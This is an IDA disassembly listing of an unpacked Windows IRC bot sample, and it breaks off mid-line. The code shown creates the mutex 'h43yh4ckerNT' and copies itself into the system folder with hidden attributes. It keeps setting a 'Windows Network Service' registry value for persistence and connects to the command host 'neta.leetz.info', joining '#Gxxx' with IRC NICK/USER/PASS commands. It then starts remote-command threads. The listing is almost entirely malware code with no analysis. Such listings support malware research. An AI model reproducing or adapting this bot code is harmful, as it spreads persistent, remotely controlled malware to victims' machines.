; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 106330FBC51F95A894CD16453A2A8218 ; File Name : u:\work\106330fbc51f95a894cd16453a2a8218_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000E1000 ( 921600.) ; Section size in file : 000E1000 ( 921600.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401071+4p ; sub_401252+349p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi loc_401006: ; DATA XREF: .RLPack:004FE472o push edi xor edi, edi xor esi, esi mov ebx, offset aWindowsNetwork ; "Windows Network Service" loc_401010: ; CODE XREF: sub_401000+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_42A058[esi] push dword_42A054[esi] call dword_4CDC18 ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_401051 push [ebp+arg_0] call sub_41B7B0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_4CDC88 ; RegSetValueExA jmp short loc_40105B ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: sub_401000+33j push ebx push [ebp+var_4] call dword_4CDBC8 ; RegDeleteValueA loc_40105B: ; CODE XREF: sub_401000+4Fj push [ebp+var_4] call dword_4CDC40 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_401010 pop edi loc_40106D: ; DATA XREF: .RLPack:loc_4FFF5Cw ; sub_500288+14r ... pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401071 proc near ; CODE XREF: sub_401071+16j ; DATA XREF: sub_401252+49Bo arg_0 = dword ptr 4 push [esp+arg_0] call sub_401000 pop ecx push dword_42A050 call dword_428064 ; Sleep jmp short sub_401071 sub_401071 endp ; =============== S U B R O U T I N E ======================================= sub_401089 proc near ; CODE XREF: sub_4010C2+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_4010BB mov ecx, 0FFh push ebx loc_4010A0: ; CODE XREF: sub_401089+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_428240[eax*4] xor esi, eax inc edx dec edi jnz short loc_4010A0 pop ebx loc_4010BB: ; CODE XREF: sub_401089+Fj mov eax, esi pop edi not eax pop esi retn sub_401089 endp ; =============== S U B R O U T I N E ======================================= sub_4010C2 proc near ; CODE XREF: sub_416975+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BCA5 mov [esp+10h+var_10], offset dword_42A06C push [esp+10h+arg_0] mov esi, eax call sub_41BC92 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_40110D loc_4010E7: ; CODE XREF: sub_4010C2+37j xor eax, eax jmp short loc_40112E ; --------------------------------------------------------------------------- loc_4010EB: ; CODE XREF: sub_4010C2+4Fj inc ebx push ebx push esi call sub_41B9D2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010E7 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B8EA add esp, 10h loc_40110D: ; CODE XREF: sub_4010C2+23j test byte ptr [edi+0Ch], 10h jz short loc_4010EB dec ebx push ebx push esi call sub_401089 push esi mov ebx, eax call sub_41B881 push edi call sub_41B82B add esp, 10h mov eax, ebx loc_40112E: ; CODE XREF: sub_4010C2+27j pop edi pop esi pop ebx retn sub_4010C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401132 proc near ; DATA XREF: sub_401252+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_440BA4 call dword_4CDCFC ; closesocket call sub_40B150 call dword_4CDBBC ; WSACleanup call dword_4CDBBC ; WSACleanup mov ebx, dword_428064 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD60 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BD60 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43FE14 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_428078 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_428074 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_428070 ; CreateProcessA test eax, eax jz short loc_4011F7 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_42806C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011F7: ; CODE XREF: sub_401132+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43FE10 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call dword_428068 ; ExitProcess pop edi pop esi pop ebx loc_40121A: ; DATA XREF: .packed:0042A004o jmp $+5 push 0FFFFh push 539h call sub_418E56 pop ecx mov dword_4CD998, eax pop ecx retn sub_401132 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401236 proc near ; DATA XREF: .packed:0042A008o jmp $+5 sub_401236 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40123B proc near push 1000h push 4B4h call sub_418E56 pop ecx mov dword_4CDB04, eax pop ecx retn sub_40123B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401252 proc near ; CODE XREF: .packed:0041E1FCp var_99C = dword ptr -99Ch var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = dword ptr -0E8h var_DC = dword ptr -0DCh var_BC = dword ptr -0BCh var_B8 = word ptr -0B8h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_10], ebx mov [ebp+var_C], offset sub_401132 push [ebp+var_C] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4280A8 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4CD99C, eax call esi ; GetTickCount push eax call sub_41C0A8 pop ecx call sub_409A1D push 2 call dword_4CDD10 ; SetErrorMode push 7530h push offset aH43yh4ckernt ; "h43yh4ckerNT" push ebx push ebx call dword_4280A4 ; CreateMutexA push eax call dword_4280A0 ; WaitForSingleObject cmp eax, 102h jnz short loc_4012D2 push 1 call dword_428068 ; ExitProcess loc_4012D2: ; CODE XREF: sub_401252+76j lea eax, [ebp+var_888] push eax push 202h call dword_4CDBD4 ; WSAStartup cmp eax, ebx mov [ebp+var_C], eax jnz loc_401888 cmp [ebp+var_888], 2 jnz loc_401882 xor eax, eax mov al, [ebp+var_887] cmp al, 2 jnz loc_401882 mov esi, 104h lea eax, [ebp+var_3F4] push esi push eax call dword_428078 ; GetSystemDirectoryA lea eax, [ebp+var_2F0] push esi push eax push ebx call dword_42809C ; GetModuleHandleA push eax call dword_428074 ; GetModuleFileNameA lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_41C1A1 lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push offset dword_42AB10 lea eax, [ebp+var_4F8] push esi push eax call sub_41C150 lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_41C0D0 add esp, 30h test eax, eax jnz loc_401538 cmp dword_4CDB08, ebx mov esi, offset byte_42A10C jz short loc_4013CD push esi xor edi, edi call sub_41B7B0 sub eax, 4 pop ecx jz short loc_4013CD loc_4013AA: ; CODE XREF: sub_401252+179j call sub_41C0B2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42A10C[edi], dl inc edi call sub_41B7B0 sub eax, 4 pop ecx cmp edi, eax jb short loc_4013AA loc_4013CD: ; CODE XREF: sub_401252+148j ; sub_401252+156j lea eax, [ebp+var_3F4] push esi push eax lea eax, [ebp+var_1EC] push offset dword_42AB08 push eax call sub_41C056 add esp, 10h lea eax, [ebp+var_1EC] push eax call dword_428098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40140D lea eax, [ebp+var_1EC] push 80h push eax call dword_428094 ; SetFileAttributesA loc_40140D: ; CODE XREF: sub_401252+1A7j mov esi, dword_428090 xor edi, edi jmp short loc_401439 ; --------------------------------------------------------------------------- loc_401417: ; CODE XREF: sub_401252:loc_40144Cj call dword_42808C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40144E cmp eax, 20h jz short loc_40142B cmp eax, 5 jnz short loc_40144E loc_40142B: ; CODE XREF: sub_401252+1D2j xor edi, edi push 3A98h inc edi call dword_428064 ; Sleep loc_401439: ; CODE XREF: sub_401252+1C3j lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] push eax call esi ; CopyFileA test eax, eax loc_40144C: ; DATA XREF: sub_4FE53F+31Br jz short loc_401417 loc_40144E: ; CODE XREF: sub_401252+1CDj ; sub_401252+1D7j lea eax, [ebp+var_1EC] push eax call sub_41896E pop ecx lea eax, [ebp+var_1EC] push 7 push eax call dword_428094 ; SetFileAttributesA push 10h lea eax, [ebp+var_24] push ebx push eax call sub_41BD60 push 44h lea eax, [ebp+var_E8] pop esi push esi push ebx push eax call sub_41BD60 mov [ebp+var_E8], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_DC], offset byte_43FE14 mov [ebp+var_BC], esi mov [ebp+var_B8], bx call dword_428088 ; GetCurrentProcessId push eax push esi push 100000h call dword_428084 ; OpenProcess lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset dword_42AAFC push eax call sub_41C056 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_98C] push ebx push eax lea eax, [ebp+var_1EC] push eax call dword_428070 ; CreateProcessA test eax, eax jz short loc_401538 push 0C8h call dword_428064 ; Sleep push [ebp+var_24] mov esi, dword_42806C call esi ; CloseHandle push [ebp+var_20] call esi ; CloseHandle call dword_4CDBBC ; WSACleanup push ebx call dword_428068 ; ExitProcess loc_401538: ; CODE XREF: sub_401252+137j ; sub_401252+2BCj cmp dword_4DE048, 2 jle short loc_401584 mov eax, dword_4DE04C push dword ptr [eax+4] call sub_41BF49 pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_4280A0 ; WaitForSingleObject push esi call dword_42806C ; CloseHandle mov eax, dword_4DE04C cmp [eax+8], ebx jz short loc_401584 push 7D0h call dword_428064 ; Sleep mov eax, dword_4DE04C push dword ptr [eax+8] call dword_428080 ; DeleteFileA loc_401584: ; CODE XREF: sub_401252+2EDj ; sub_401252+317j ; DATA XREF: ... cmp dword_42A08C, ebx jz short loc_4015A1 cmp dword_4CDD30, ebx jnz short loc_4015A1 lea eax, [ebp+var_4F8] push eax call sub_401000 pop ecx loc_4015A1: ; CODE XREF: sub_401252+338j ; sub_401252+340j lea eax, [ebp+var_A4] push offset dword_42AAE0 push eax call sub_41C056 push ebx lea eax, [ebp+var_A4] push ebx push eax loc_4015BB: ; DATA XREF: sub_4FE53F+F0r call sub_40AF8D lea eax, [ebp+var_A4] push eax call sub_4157A5 push 0B80h push ebx push offset dword_43FE18 call sub_41BD60 lea eax, [ebp+var_A4] push offset unk_42AABC push eax call sub_41C056 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_40AF8D add esp, 38h mov edi, eax mov esi, dword_42807C lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_41A1AF push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_440BAC[edi], eax jnz short loc_401641 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset unk_42AA7C push eax call sub_41C056 add esp, 0Ch loc_401641: ; CODE XREF: sub_401252+3D2j lea eax, [ebp+var_A4] push eax call sub_4157A5 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset dword_42AA50 push eax call sub_41C056 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_40AF8D add esp, 14h mov edi, eax lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_41AC6A push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_440BAC[edi], eax jnz short loc_4016AE call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset dword_42AA14 push eax call sub_41C056 add esp, 0Ch loc_4016AE: ; CODE XREF: sub_401252+43Fj lea eax, [ebp+var_A4] push eax call sub_4157A5 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset dword_42A9EC push eax call sub_41C056 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_40AF8D add esp, 14h mov edi, eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_401071 push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_440BAC[edi], eax jnz short loc_401721 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset dword_42A9B0 push eax call sub_41C056 add esp, 0Ch loc_401721: ; CODE XREF: sub_401252+4B2j lea eax, [ebp+var_A4] push eax call sub_4157A5 call sub_41C0B2 push 7Fh and eax, 3 push offset aNeta_leetz_inf ; "neta.leetz.info" push offset dword_4CD9A4 mov dword_4CDB18, eax call sub_41BDC0 mov eax, dword_42A070 push 3Fh mov edi, offset dword_4CDA24 push offset aGxxx ; "#Gxxx" push edi mov dword_4CDAF4, eax call sub_41BDC0 push 3Fh mov esi, offset dword_4CDA64 push offset a_gxxx_ ; ".Gxxx." push esi call sub_41BDC0 add esp, 28h mov dword_4CDAF8, ebx loc_401782: ; CODE XREF: sub_401252+5D6j ; sub_401252+5E1j ... mov [ebp+var_4], ebx loc_401785: ; CODE XREF: sub_401252+58Aj cmp dword_4CDD48, ebx jnz short loc_4017A3 lea eax, [ebp+var_14] push ebx push eax call dword_4CDBA0 ; InternetGetConnectedState test eax, eax jnz short loc_4017A3 push 7530h jmp short loc_4017CF ; --------------------------------------------------------------------------- loc_4017A3: ; CODE XREF: sub_401252+539j ; sub_401252+548j push offset dword_4CD9A0 mov dword_4CDB14, ebx call sub_401891 cmp eax, 2 mov [ebp+var_C], eax jz loc_40187D cmp dword_4CDB14, ebx jz short loc_4017CA dec [ebp+var_4] loc_4017CA: ; CODE XREF: sub_401252+573j push 0BB8h loc_4017CF: ; CODE XREF: sub_401252+54Fj call dword_428064 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_401785 cmp [ebp+var_C], 2 jz loc_40187D cmp [ebp+var_10], ebx jz short loc_40182D push 7Fh push offset aNeta_leetz_inf ; "neta.leetz.info" push offset dword_4CD9A4 call sub_41BDC0 mov eax, dword_42A070 push 3Fh push offset aGxxx ; "#Gxxx" push edi mov dword_4CDAF4, eax call sub_41BDC0 push 3Fh push offset a_gxxx_ ; ".Gxxx." push esi call sub_41BDC0 add esp, 24h mov [ebp+var_10], ebx jmp loc_401782 ; --------------------------------------------------------------------------- loc_40182D: ; CODE XREF: sub_401252+599j cmp byte_42A0EC, bl jz loc_401782 push 7Fh push offset byte_42A0EC push offset dword_4CD9A4 call sub_41BDC0 mov eax, dword_42A074 push 3Fh push offset dword_42A0FC push edi mov dword_4CDAF4, eax call sub_41BDC0 push 3Fh push offset dword_42A104 push esi call sub_41BDC0 add esp, 24h mov [ebp+var_10], 1 jmp loc_401782 ; --------------------------------------------------------------------------- loc_40187D: ; CODE XREF: sub_401252+567j ; sub_401252+590j call sub_40B150 loc_401882: ; CODE XREF: sub_401252+A4j ; sub_401252+B4j call dword_4CDBBC ; WSACleanup loc_401888: ; CODE XREF: sub_401252+97j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_401252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401891 proc near ; CODE XREF: sub_401252+55Cp ; DATA XREF: sub_401B66+655Bo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4018B6: ; CODE XREF: sub_401891+E6j ; sub_401891+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CDC64 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax loc_4018E0: ; DATA XREF: .RLPack:004FE864o call sub_40AA04 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_4019F3 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BD60 push 0 lea eax, [ebp+var_2C] push dword_4CDB0C push dword_42A098 push eax call sub_40AF23 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_440BB0 push edi push eax call sub_41BDC0 add esp, 28h push 6 push 1 push 2 call dword_4CDCE4 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_440BA4[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40197C push esi call dword_4CDCFC ; closesocket call sub_40AA2D push 7D0h loc_401971: ; CODE XREF: sub_401891+146j call dword_428064 ; Sleep jmp loc_4018B6 ; --------------------------------------------------------------------------- loc_40197C: ; CODE XREF: sub_401891+CDj lea eax, [ebp+var_18C] push eax push offset unk_42AB18 call sub_415819 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_4019F7 add esp, 28h mov edi, eax push esi call dword_4CDCFC ; closesocket test edi, edi jz loc_4018B6 cmp edi, 1 jnz short loc_4019D9 push 0DBBA0h jmp short loc_401971 ; --------------------------------------------------------------------------- loc_4019D9: ; CODE XREF: sub_401891+13Fj cmp edi, 2 jnz loc_4018B6 push [ebp+var_34] call sub_40B2A3 pop ecx push edi pop eax loc_4019ED: ; CODE XREF: sub_401891+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_4019F3: ; CODE XREF: sub_401891+5Aj xor eax, eax jmp short loc_4019ED sub_401891 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019F7 proc near ; CODE XREF: sub_401891+123p var_1990 = byte ptr -1990h var_990 = byte ptr -990h var_1C0 = byte ptr -1C0h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1990h call sub_41C2F0 push ebx xor ebx, ebx cmp byte_4CDB10, bl push esi push edi mov [ebp+var_8], ebx mov [ebp+var_120], bl jz short loc_401A2F push offset byte_4CDB10 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40993C add esp, 0Ch loc_401A2F: ; CODE XREF: sub_4019F7+21j push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AF23 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C056 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A99 push [ebp+arg_0] call dword_4CDCFC ; closesocket push 1388h call dword_428064 ; Sleep loc_401A92: ; CODE XREF: sub_4019F7+CCj ; sub_4019F7+146j xor eax, eax loc_401A94: ; CODE XREF: sub_4019F7+162j ; sub_4019F7+16Aj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A99: ; CODE XREF: sub_4019F7+85j ; sub_4019F7+EBj ... mov esi, 1000h lea eax, [ebp+var_1990] push esi push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_1990] push ebx push esi push eax push [ebp+arg_0] call dword_4CDC7C ; recv test eax, eax jle short loc_401A92 lea eax, [ebp+var_990] push eax lea eax, [ebp+var_1990] push eax call sub_418665 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A99 lea edi, [ebp+var_990] loc_401AEA: ; CODE XREF: sub_4019F7+158j xor esi, esi inc esi loc_401AED: ; CODE XREF: sub_4019F7+137j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_1C0] push eax lea eax, [ebp+var_120] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401B66 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401B30 push 7D0h call dword_428064 ; Sleep jmp short loc_401AED ; --------------------------------------------------------------------------- loc_401B30: ; CODE XREF: sub_4019F7+12Aj cmp esi, 0FFFFFFFDh jz short loc_401B5E cmp esi, 0FFFFFFFEh jz short loc_401B56 cmp esi, 0FFFFFFFFh jz loc_401A92 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401AEA jmp loc_401A99 ; --------------------------------------------------------------------------- loc_401B56: ; CODE XREF: sub_4019F7+141j xor eax, eax inc eax jmp loc_401A94 ; --------------------------------------------------------------------------- loc_401B5E: ; CODE XREF: sub_4019F7+13Cj push 2 pop eax jmp loc_401A94 sub_4019F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B66 proc near ; CODE XREF: sub_4019F7+11Dp var_5D84 = byte ptr -5D84h var_5984 = byte ptr -5984h var_5584 = byte ptr -5584h var_53F4 = byte ptr -53F4h var_51F4 = byte ptr -51F4h var_50F0 = byte ptr -50F0h var_4FF0 = byte ptr -4FF0h var_4EEC = byte ptr -4EECh var_4DEC = byte ptr -4DECh var_4CEC = byte ptr -4CECh var_4BEC = byte ptr -4BECh var_4AEC = byte ptr -4AECh var_48EC = byte ptr -48ECh var_47E8 = byte ptr -47E8h var_46E8 = byte ptr -46E8h var_45E8 = byte ptr -45E8h var_4584 = byte ptr -4584h var_4484 = byte ptr -4484h var_4284 = byte ptr -4284h var_4184 = byte ptr -4184h var_4084 = byte ptr -4084h var_3F84 = dword ptr -3F84h var_3F80 = dword ptr -3F80h var_3F7C = byte ptr -3F7Ch var_3EFC = byte ptr -3EFCh var_3E7C = byte ptr -3E7Ch var_3DFC = byte ptr -3DFCh var_3D7C = byte ptr -3D7Ch var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = byte ptr -3CECh var_3C6C = byte ptr -3C6Ch var_3B68 = byte ptr -3B68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = dword ptr -3A54h var_3A50 = byte ptr -3A50h var_37C9 = byte ptr -37C9h var_37C8 = byte ptr -37C8h var_36C4 = dword ptr -36C4h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36B0 = dword ptr -36B0h var_36A8 = dword ptr -36A8h var_36A4 = dword ptr -36A4h var_36A0 = byte ptr -36A0h var_3620 = byte ptr -3620h var_35A0 = byte ptr -35A0h var_3520 = byte ptr -3520h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = dword ptr -3490h var_348C = byte ptr -348Ch var_340C = byte ptr -340Ch var_338C = byte ptr -338Ch var_330C = byte ptr -330Ch var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = dword ptr -327Ch var_3278 = byte ptr -3278h var_31F8 = byte ptr -31F8h var_3178 = byte ptr -3178h var_30F8 = byte ptr -30F8h var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = dword ptr -3068h var_3064 = byte ptr -3064h var_2FE4 = byte ptr -2FE4h var_2F64 = byte ptr -2F64h var_2EE4 = byte ptr -2EE4h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = dword ptr -2E58h var_2E54 = dword ptr -2E54h var_2E50 = byte ptr -2E50h var_2D4C = byte ptr -2D4Ch var_2C48 = dword ptr -2C48h var_2C44 = dword ptr -2C44h var_2C40 = dword ptr -2C40h var_2C3C = byte ptr -2C3Ch var_2BBC = dword ptr -2BBCh var_2BB8 = dword ptr -2BB8h var_2BB4 = dword ptr -2BB4h var_2BB0 = byte ptr -2BB0h var_2AAC = dword ptr -2AACh var_2AA4 = byte ptr -2AA4h var_298C = byte ptr -298Ch var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = dword ptr -28F8h var_28F4 = byte ptr -28F4h var_2874 = byte ptr -2874h var_2774 = byte ptr -2774h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = dword ptr -2650h var_264C = byte ptr -264Ch var_25CC = byte ptr -25CCh var_24CC = byte ptr -24CCh var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = dword ptr -23A8h var_23A4 = byte ptr -23A4h var_2324 = byte ptr -2324h var_22A4 = byte ptr -22A4h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = dword ptr -2214h var_2210 = byte ptr -2210h var_2190 = byte ptr -2190h var_2110 = byte ptr -2110h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = dword ptr -2080h var_207C = byte ptr -207Ch var_1FFC = byte ptr -1FFCh var_1F7C = byte ptr -1F7Ch var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = dword ptr -1EECh var_1EE8 = byte ptr -1EE8h var_1DE8 = byte ptr -1DE8h var_1D68 = dword ptr -1D68h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D4C = dword ptr -1D4Ch var_1D44 = byte ptr -1D44h var_1D30 = byte ptr -1D30h var_1C2C = byte ptr -1C2Ch var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr 